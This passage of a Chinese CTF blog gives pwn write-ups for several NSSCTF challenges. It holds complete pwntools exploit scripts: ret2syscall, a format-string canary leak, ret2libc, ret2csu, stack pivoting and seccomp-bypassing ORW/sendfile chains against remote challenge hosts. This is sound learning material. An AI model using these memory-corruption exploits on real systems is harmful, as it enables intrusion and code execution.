如果有vip就能这样子了,多了一个改名
/1776414285236-dcb96049-fe7c-46f1-a769-cc206103c992.png)
这边是吧我们写的输入v5,然后v5会复制到全局变量name里边
显然这边存在栈溢出,虽然开了canary但是这边没有检查
而且我们一早就知道是ret2syscall,还有一堆寄存器,很多特征在跟我们说就是打这条线
64位的经典链子看看能不能套
1 2 3 4 5 6 7 8 9
| payload += p64(pop_rax) payload += p64(59) payload += p64(pop_rdi) payload += p64(binsh) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) payload += p64(syscall)
|
找这些东西填入即可
1 2 3 4
| ROPgadget --binary ./shaokao --only "pop|ret"|grep rax ROPgadget --binary ./shaokao --only "pop|ret"|grep rdi ROPgadget --binary ./shaokao --only "pop|ret"|grep rsi ROPgadget --binary ./shaokao --only "pop|ret"|grep rdx
|
/1776414907206-00532225-1ef0-41b4-9a4c-ee466f1e2a63.png)
这边带到rbx了,我们在原来的模板payload的基础上要多写一个0
/1776415163378-3a7a6f69-d223-471b-8cb9-8c8910a24b85.png)
1 2 3 4 5
| pop_rax = 0x458827 pop_rdi = 0x40264f pop_rsi = 0x40a67e pop_rdx = 0x4a404b syscall = 0x402404
|
最后一个/bin/sh我们就直接自己写进去,然后会被传到name的全局函数的
/1776415223882-b393868c-2ccf-4536-8ade-cb5186e90ecb.png)
name = 0x4e60f0
构造exp即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
context(os='linux', arch='amd64', log_level='debug') io = remote('node4.anna.nssctf.cn', 23743)
pop_rax = 0x458827 pop_rdi = 0x40264f pop_rsi = 0x40a67e pop_rdx = 0x4a404b syscall = 0x402404 name = 0x4e60f0
io.sendline(b'2') io.sendline(b'2') io.sendline(b'-100000') io.sendline(b'4') io.sendline(b'5')
payload = b'/bin/sh\x00' payload += b'a'*0x20 payload += p64(pop_rax) payload += p64(59) payload += p64(pop_rdi) payload += p64(name) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) payload += p64(0) payload += p64(syscall)
io.sendlineafter("请赐名:\n", payload) io.interactive()
|
/1776416145227-ab20b359-1f55-4039-bd3d-8b711bdba8c8.png)
NSSCTF{8930b5a3-1c2c-43d6-be61-c87442002c80}
Darling
/1776403390207-20d6acdf-b14f-4d69-8ebc-439030b9ae06.png)
保护:
/1776583549802-ec104249-125b-4baf-ae7b-3763743856bb.png)
darling你保护开的有点多啊
/1776583571014-499c2074-e58c-4d17-ad18-8cdc73084844.png)
来看看IDA,上来是pic函数和darling函数
之后设置了20020819为随机数种子,生成了v5
/1776583761755-e27d98bb-db34-4b22-9cae-e67bd7a0048b.png)
最后是我们输入一个v4,作比较,和v5一样就进入后门,提权,大致的逻辑还是很清晰的
看看pic和darling函数,这俩纯是puts输出logo的
其实很简单,我们都有种子了,直接照葫芦画瓢复现就好了
1 2 3 4 5 6 7 8 9
| #include <stdio.h> #include <stdlib.h> int main() { int v5; srand(20020819); v5 = rand() % 100 - 64; printf("%d",v5); }
|
得到是17
当然了,本来就限制了区域在[-64,35]
我们直接爆破也可以
1 2 3 4 5 6 7
| from pwn import * context(os='linux', arch='amd64', log_level='debug')
io = remote('node5.anna.nssctf.cn', 23740) payload=str(17).encode() io.sendlineafter(b'you.\n',payload) io.interactive()
|
你这辈子都是被黑神话害了
/1776403401521-32879af4-53c8-49fa-8c66-1d604f443ccc.png)
保护:
/1776585121219-5d7669a7-67f4-4631-8e06-9133a34cbb41.png)
说是简单的整数溢出
/1776585147178-daa3808a-5a80-4a8c-90be-01e8532cfba9.png)
像闯关,只要不被exit0即可得到shell
/1776585329729-a99be63d-0ef7-4e45-85dc-9912b16ffe71.png)
连上大概是这样子的
这边是以时间作为了随机数种子,不太好直接在外边搞,然后得到两个随机数,存到v5
强制要求了v6在0x80000000到0xFFFFFFFF之间后,类似于%u输出了v6的值
最后要求我们输入东西到nptr,这个nptr最后会atoi后存到v7
要求这个nptr的第一位是-负号,然后转化完的整数v7<0
还要求无符号的v6和有符号的v7相等
思路很明确了,拿到输出的数字之后直接-0x100000000然后把东西输入进去就好啦
/1776586845972-a900b358-5d1c-4354-ad34-a84a27d168ec.png)
就这样子就好了
NSSCTF{ec587bbc-a20b-4723-9463-50e297ea95b4}
babyrop2
/1776403418061-4a61dbd4-1131-4457-a456-273e780fb7fc.png)
保护:
/1776600882195-420d59ea-b6ec-498f-90d3-f9f41a944190.png)
可以看到开了NX和Canary的一道题
/1776600999603-6536b042-756c-4f8a-b009-485c8d38bcd8.png)
main函数就gift和vuln俩函数
/1776601016325-4d08df73-b7c2-4fd7-beab-ebd2bc5a8bf2.png)
先看gift,给了一个格式化字符串的漏洞礼物,但似乎只能输入6个字符
/1776601084969-3e21953c-bf43-4fda-8821-62773c5b7fa6.png)
后边vuln是一个栈溢出,还有两个Canary
大概思路很明确,就是一道利用格式化字符串进行Bypass的姿势
我们利用格式化字符串输出Canary的值然后填充栈溢出即可
首要任务是算出Canary在第几个参数
1 2 3 4 5 6 7 8
| from pwn import * context(os='linux', arch='amd64', log_level='debug')
for i in range(1,20): io = remote('node4.anna.nssctf.cn', 26631) payload = f'%{i}$p'.encode() io.sendlineafter(b'help u!\n',payload) io.interactive()
|
我们可以这样子直接一个个尝试,毕竟长度有限,找到末尾两个是0的大概率就是Canary值
/1776601606741-b0095545-97e7-409d-a441-e7df5c47c259.png)
大概率是第七位,当然我们也可以进行计算啊
1 2
| char format[8]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
|
根据栈布局,format在rbp-0x10,然后Canary在rbp-0x8
所以明显是第(0x10-0x8)/8+6=7
第七个确实是Canary的值
之后直接栈溢出即可,就是这题无system无binsh
所以这边直接进行ret2libc即可
/1776602348021-e0e2807a-95db-4f4b-901b-cafd3c061f30.png)
栈结构是这样,我们先叠b’a’*(0x20-8)到canary面前那,然后再去输入8个a之后就能栈溢出了
前边还需要先泄露一下libc_base
要传参肯定需要rdi和ret
/1776602482291-0d3591e3-61c2-4601-9ef1-90f3cb7dd218.png)
pop_rdi = 0x400993
ret = 0x4005f9
所以我们可以开始编写exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * from LibcSearcher import * context(arch = 'amd64', os = 'linux', log_level = 'debug') io = remote('node4.anna.nssctf.cn', 26631)
elf = ELF('./pwn') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] vuln_addr = elf.sym['vuln'] pop_rdi = 0x400993 ret = 0x4005f9
#先得到canary的值 payload1 = '--%7$p' io.sendlineafter(b'help u!\n',payload1) io.recvuntil(b'--') canary = int(io.recvuntil(b'\n'),16)
#接着来得到libc_base payload2 = b'a'*(0x20-8) payload2 += p64(canary) payload2 += b'a'*8 payload2 += p64(pop_rdi) payload2 += p64(puts_got) payload2 += p64(puts_plt) payload2 += p64(vuln_addr) io.sendline(payload2)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh')
#最后来执行system('/bin/sh')即可 payload3 = b'a'*(0x20-8) payload3 += p64(canary) payload3 += b'a'*8 payload3 += p64(pop_rdi) payload3 += p64(bin_sh) payload3 += p64(system_addr) io.sendline(payload3) io.interactive()
|
/1776604239994-fcc8164e-ae5d-4b5a-9096-e1e91912db47.png)
PWN2
/1776403432317-6771035f-47f1-474c-9c27-7226f15f8c26.png)
也不知道是哪一个PWN2,有一大堆的PWN2
/1776604622897-92318f5d-4f29-4795-ac48-606ed5834004.png)
随便挑一个做好了
保护:
/1776604684167-42f27185-24ad-4ee2-b718-b3d2ccc2d5df.png)
/1776604731570-21a1e5f0-3298-442f-98a4-9d28c463228c.png)
打开IDA发现是一个叫做加密机器的东西
/1776604776115-5d52af96-0098-413e-8e1b-7b3b55c92c96.png)
有选项,但是如果我们写2解密就会显示我们可以自己做
所以这个begin只能写1
/1776604843100-3432003b-2bb6-4084-85a7-07488dbacdce.png)
/1776604920782-4e4b5cd7-908f-401c-b6c9-ab63a65641af.png)
打开来直接就能看见栈溢出,gets函数+不检测长度
接下来直接打就好了,直接打ret2libc
/1776606048722-28a605ba-3f1c-495a-9d16-1b89e08b285a.png)
1 2
| pop_rdi = 0x400c83 ret = 0x4006b9
|
这一题还需要注意一下栈对齐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * from LibcSearcher import * context(arch = 'amd64', os = 'linux', log_level = 'debug') io = remote('node5.anna.nssctf.cn', 28661)
elf = ELF('./pwn') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] encrypt = 0x4009A0 pop_rdi = 0x400c83 ret = 0x4006b9 offset = 0x50+8
payload = b'a'*offset payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(encrypt) io.sendlineafter(b'Input your choice!',str(1)) io.sendlineafter(b'be encrypted',payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh')
payload2 = b'a'*offset payload2 += p64(ret) payload2 += p64(pop_rdi) payload2 += p64(bin_sh) payload2 += p64(system_addr) io.sendline(payload2) io.interactive()
|
/1776606759973-9373cd2d-44ed-4ca4-9922-5d42d4133694.png)
ret2csu
/1776403441516-ee933e0b-8342-43a2-a9bd-3ba8fcdeaaa0.png)
保护:
/1776643734322-895d7679-70eb-47b7-8442-824ad5919522.png)
来看看IDA
/1776643758913-07e9fe99-aec2-427d-9243-6254adca5ac6.png)
/1776643942265-9bb188f6-e686-4d57-98f8-cd6d44b8059f.png)
很明显的栈溢出
这题提示给的很明确了就是ret2csu,这边我也是跟着博客重温了一下,之前去年暑假学的有点遗忘了
https://tamoly.github.io/2025/07/06/%E6%A0%88%E7%9F%A5%E8%AF%86%E7%82%B9/ret2csu/index.html
什么是ret2csu,因为我们很多时候找不到函数前六个参数的寄存器对应的gadgets,所以这个主要是在利用x64的__libc_csu_init函数中的gadgets
这个__libc_csu_init函数是用来对libc初始化的,所以一般这个函数一直都在那边
/1776644288415-6155d900-4ea2-4837-9a70-3236a3299bfd.png)
可以看到的确初始化libc的基本上都会有这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| .text:0000000000401250 ; =============== S U B R O U T I N E ======================================= .text:0000000000401250 .text:0000000000401250 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64) .text:0000000000401250 public __libc_csu_init .text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o .text:0000000000401250 ; __unwind { .text:0000000000401250 endbr64 .text:0000000000401254 push r15 .text:0000000000401256 lea r15, __frame_dummy_init_array_entry .text:000000000040125D push r14 .text:000000000040125F mov r14, rdx .text:0000000000401262 push r13 .text:0000000000401264 mov r13, rsi .text:0000000000401267 push r12 .text:0000000000401269 mov r12d, edi .text:000000000040126C push rbp .text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry .text:0000000000401274 push rbx .text:0000000000401275 sub rbp, r15 .text:0000000000401278 sub rsp, 8 .text:000000000040127C call _init_proc .text:0000000000401281 sar rbp, 3 .text:0000000000401285 jz short loc_4012A6 .text:0000000000401287 xor ebx, ebx .text:0000000000401289 nop dword ptr [rax+00000000h] .text:0000000000401290 .text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000401290 mov rdx, r14 .text:0000000000401293 mov rsi, r13 .text:0000000000401296 mov edi, r12d .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:000000000040129D add rbx, 1 .text:00000000004012A1 cmp rbp, rbx .text:00000000004012A4 jnz short loc_401290 .text:00000000004012A6 .text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j .text:00000000004012A6 add rsp, 8 .text:00000000004012AA pop rbx .text:00000000004012AB pop rbp .text:00000000004012AC pop r12 .text:00000000004012AE pop r13 .text:00000000004012B0 pop r14 .text:00000000004012B2 pop r15 .text:00000000004012B4 retn .text:00000000004012B4 ; } // starts at 401250 .text:00000000004012B4 __libc_csu_init endp
|
主要利用的是下边两部分的汇编,我们先来看第一段
1 2 3 4 5 6 7 8 9 10
| .text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j .text:00000000004012A6 add rsp, 8 .text:00000000004012AA pop rbx .text:00000000004012AB pop rbp .text:00000000004012AC pop r12 .text:00000000004012AE pop r13 .text:00000000004012B0 pop r14 .text:00000000004012B2 pop r15 .text:00000000004012B4 retn .text:00000000004012B4 ; } // starts at 401250
|
这边首先是add抬高了一位,当然我们直接栈溢出转过来的时候可以直接从下边的pop rbx开始
后边的内容可以看到基本上都是pop,一个个pop寄存器参数,弹给rbx,rbp,r12,r13,r14,r15
这边我们一般把rbx设置为0,方便后边call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
就可以直接r15设置啥就是啥了,不用考虑rbx了
而同时我们也一般把rbp设置为1,因为这个后边就是add rbx,1和cmp,是1的话就和加1之后的rbp一样了,就不用跳转了
最后通过ret我们跳到下边这个第二段
接着看第二段
1 2 3 4 5 6 7 8 9
| .text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000401290 mov rdx, r14 .text:0000000000401293 mov rsi, r13 .text:0000000000401296 mov edi, r12d .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:000000000040129D add rbx, 1 .text:00000000004012A1 cmp rbp, rbx .text:00000000004012A4 jnz short loc_401290 .text:00000000004012A6
|
可以看到这边的顺序不是固定的,需要具体情况具体分析
这边是先把r14给了rdx,r13给了rsi,r12给了edi
这个时候rdi值是0,我们是可以控制rdi的值的
只需要把东西在第一段压入r12,之后执行mov edi, r12d的时候rdi就会被设置为r12的低32位了
call直接跳转到r15的位置,因为我们把rbp搞成0了
后边的jzn也已经被我们绕过了
最后这个第二段走完之后我们又会走到第一段,不过六个寄存器都没用了,随便设置就好了,我们只要控制好rdi,rsi,rdx三个寄存器即可,直接填充7*8个字符到返回地址之后设置返回地址即可
rdi,rsi,rdx就可以拿来填充write函数了
这边放一份脚本,也是tamoly师傅博客上的
1 2 3 4 5 6 7 8 9 10 11 12 13
| def ret_csu(r12, r13, r14, r15, last): payload = b'a'* offset payload += p64(csu1) + p64(0) payload += p64(0) + p64(1) payload += p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu2) payload+=b'a'*56+p64(last) io.sendline(payload)
|
之后我们就开始针对这一题看吧,其实分析的蛮全面了,我们一开始构造栈溢出
之后溢出后直接跳到第一段,然后一个个寄存器设置值,最后构造的是write(1,write_got,8)
1 2 3
| payload += p64(csu1_addr) payload += p64(0)+p64(1) payload += p64(1)+p64(write_got)+p64(8)+p64(write_got)
|
设置完之后再到第二段即可跳转回去
1
| payload += p64(csu2_addr)+b'a'*(7*8)+p64(main_addr)
|
/1776645955785-841432c9-d9d9-470b-819e-57649a5a64ed.png)
来写exp吧,这题给了libc,不用search了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('node5.anna.nssctf.cn', 21340) elf = ELF('./ret2csu') libc = ELF('./libc.so.6')
write_got = elf.got['write'] write_plt = elf.plt['write'] main_addr = elf.sym['main']
pop_rdi = 0x4012b3 ret = 0x40101a csu1_addr = 0x4012aa csu2_addr = 0x401290 offset = 0x100 + 8
payload = b'a' * offset payload += p64(csu1_addr) payload += p64(0)+p64(1) payload += p64(1)+p64(write_got)+p64(8)+p64(write_got) payload += p64(csu2_addr)+b'a'*(7*8)+p64(main_addr)
io.recvuntil(b"Input:\n") io.send(payload)
io.recvuntil(b"Ok.\n") write_addr = u64(io.recvn(8))
log.success("write_addr = " + hex(write_addr))
libc_base = write_addr - libc.sym['write'] system_addr = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * offset payload2 += p64(pop_rdi) payload2 += p64(bin_sh) payload2 += p64(ret) payload2 += p64(system_addr)
io.recvuntil(b"Input:\n") io.send(payload2) io.interactive()
|
/1776647828351-d428f94e-9b1a-4d29-9206-fd71ffdcb880.png)
rbp
/1776403463658-e5d47aff-a273-46c5-85fd-6a3e269b4371.png)
保护:
/1776647923196-fb450290-3a80-4597-a233-0a3436ca2f37.png)
打开IDA分析
/1776648010750-ef744841-9367-417b-9819-0c0bfc9f0dcc.png)
/1776648019851-ea25acc2-1751-406c-909e-35513caafa7f.png)
打开看到一个明显的栈溢出,但溢出空间不是很大,很小一个
需要我们栈迁移
/1776648119345-7a0e8982-a252-4df3-979d-ad6b3faee6fc.png)
main函数里边的初始化部分还存在一个sandbox函数
禁止execve,是一道ORW题目
栈溢出+栈迁移+ORW
/1776653304130-cf9fcb06-d279-4e11-ad89-4608c7475bf0.png)
利用最后的leave retn,我们可以实现栈迁移
注意这边实际上是在
所以我们返回的时候要从这个0x40127F开始,不然上边push rbp又给冲掉了
/1776653294746-ce2273ad-ec12-4fad-a79f-c71c9651b60e.png)
这样子就能把第二次的输入直接读到我们想要的位置了
好开始伪造rbp进行栈迁移,直接到.bss段
/1776656108995-ab93a332-b8c0-4808-840b-83baa805968e.png)
我们可以直接选落在 .bss/.data 所在那个 RW LOAD 段的已映射可写页里的一块空地方,比如是0x404800
所以我们第一次是先移到.bss段,再返回上边的位置再次获得以此输入机会
1 2
| bss = 0x404800 payload1 = b'A' * 0x210 + p64(bss) + p64(0x40127F)
|
于是当前vuln执行完之后执行leave;ret,然后rbp=bss,rip=0x40127F
所以我们第二次read的时候读入位置会变成
1
| [rbp - 0x210] = [0x404800 - 0x210] = 0x4045f0
|
这样子我们第二次输入就能直接读到.bss里边,因为第二次read的起点已经变成了bss-0x210,所以我们覆盖saved rbp=bss-0x210,saved rip=leave_ret
1 2
| payload2 = p64(next_rbp) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln) payload2 = Payload.ljust(0x210, b'\x00') + p64(bss - 0x210) + p64(leave_ret)
|
所以两次leave,ret之后rsp就会正式落到我们的fake stack上边去了,有了足够大的栈空间
之后就是要泄露libc_base地址了,我们直接利用puts函数传参,在第二次payload直接输出puts的真实地址即可
有了libc_base我们就可以直接拿来ORW了,大概就这样
1 2 3
| open("./flag", 0) read(3, flag_buf, 0x50) write(1, flag_buf, 0x50)
|
传三参,我们需要rdi,rsi,rdx
/1776753619078-c813a393-883d-435f-bfc0-c6cab294359f.png)
有rdi,有rsi,但是没有rdx,所以我们还是需要去libc里边搞一个pop rdx;ret才行
还有就是这里记得要写”./flag\x00\x00”,保持八字节对齐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import * context.log_level = 'debug' io = remote('node4.anna.nssctf.cn', 21685)
elf = ELF('./rbp') libc = ELF('./libc.so.6')
vuln = 0x40127f leave_ret = 0x4012bf pop_rdi = 0x401353 pop_rsi_r15 = 0x401351 ret = 0x40101a
puts_plt = elf.plt['puts'] puts_got = elf.got['puts']
fake_rbp = 0x404800 stage2 = fake_rbp - 0x210 next_rbp = 0x404b00 stage3 = next_rbp - 0x210 flag_buf = 0x404d80
payload1 = b'A' * 0x210 payload1 += p64(fake_rbp) payload1 += p64(vuln) io.sendafter(b'try it\n', payload1)
payload2 = flat( next_rbp, pop_rdi, puts_got, puts_plt, vuln )
payload2 = payload2.ljust(0x210, b'\x00') payload2 += p64(stage2) payload2 += p64(leave_ret) io.sendafter(b'try it\n', payload2)
io.recvline()
leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc.address = leak - libc.sym['puts'] log.success(f'libc base = {hex(libc.address)}')
io.recvuntil(b'try it\n')
pop_rdx = libc.address + 0x142c92 open_ = libc.sym['open'] read_ = libc.sym['read'] write_ = libc.sym['write']
payload3 = flat( b'./flag\x00\x00',
pop_rdi, stage3, pop_rsi_r15, 0, 0, ret, open_,
pop_rdi, 3, pop_rsi_r15, flag_buf, 0, pop_rdx, 0x50, ret, read_,
pop_rdi, 1, pop_rsi_r15, flag_buf, 0, pop_rdx, 0x50, ret, write_ )
payload3 = payload3.ljust(0x210, b'\x00') payload3 += p64(stage3) payload3 += p64(leave_ret) io.send(payload3)
io.interactive()
|
拿ai完善了一下,清晰多了
/1776752141737-34d65846-bbce-434d-be9b-a59c47c5b4d9.png)
不可名状的东西
/1776403472454-4c5914d5-6c79-4af1-8f93-a7c134030513.png)
保护:
/1776756736042-0b6749a2-7a76-4f1a-9268-07d22418a372.png)
打开IDA看看
/1776756770120-70900ff8-a1d3-4b15-91ba-3e23c3730bb7.png)
可以看到这又是一个很明显的栈溢出以及栈迁移,因为给的栈空间很小,所以一开始是想构造一个栈迁移之后泄露libc_base然后直接system提权的,但是发现报错了
/1776768370502-a84fd72b-3fdb-49f3-8bab-a2bef4e36e05.png)
看了程序没看到有过滤,但是写了一个脚本回显了 SIGSYS ,看来execve被过滤了,只能利用ORW来做这道题
那跟上一题其实差不多,都是先利用栈溢出来进行栈迁移,最后利用ORW读出flag
唯一不太一样的是这一题的大小不够,ORW想全部执行空间不够,所以我们可以改用sendfile()函数来替代read()和write()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context(arch="amd64",os="linux",log_level="debug") io = remote("node6.anna.nssctf.cn", 22633) elf = ELF("./level1") libc = ELF("./libc.so.6")
puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] read_again = 0x4011ef leave_ret = 0x40120f pop_rdi = 0x4011c5 bss = 0x404200 stage2 = bss next_rbp = bss + 0xa8 stage3 = bss + 0x28
io.recvuntil(b"name!")
payload1 = b"\x00" * 0x80 payload1 += p64(bss + 0x80) payload1 += p64(read_again) io.send(payload1)
payload2 = p64(next_rbp) payload2 += p64(pop_rdi) payload2 += p64(puts_got) payload2 += p64(puts_plt) payload2 += p64(read_again) payload2 = payload2.ljust(0x80, b"\x00") payload2 += p64(stage2) payload2 += p64(leave_ret) io.send(payload2)
io.recvline(timeout=2) puts_addr = u64(io.recvn(6).ljust(8, b"\x00")) libc_base = puts_addr - libc.sym["puts"]
pop_rsi = libc_base + 0x2be51 pop_rdx_rbx = libc_base + 0x904a9 pop_rcx = libc_base + 0x3d1ee
open_addr = libc_base + libc.sym["open"] sendfile = libc_base + libc.sym["sendfile"]
payload3 = b"./flag\x00\x00"
payload3 += p64(pop_rdi) + p64(stage3) payload3 += p64(pop_rsi) + p64(0) payload3 += p64(open_addr)
payload3 += p64(pop_rdi) + p64(1) payload3 += p64(pop_rsi) + p64(3) payload3 += p64(pop_rdx_rbx) + p64(0) + p64(0) payload3 += p64(pop_rcx) + p64(0x40) payload3 += p64(sendfile)
payload3 += p64(stage3) + p64(leave_ret) io.send(payload3)
io.interactive()
|
/1776770002296-63ef8384-8265-4ff0-83d5-4ce0d4bec9f5.png)
也是终于复盘完了,完成了当年没完成的,只是最后的栈迁移和ORW还是不太熟练,还得再练练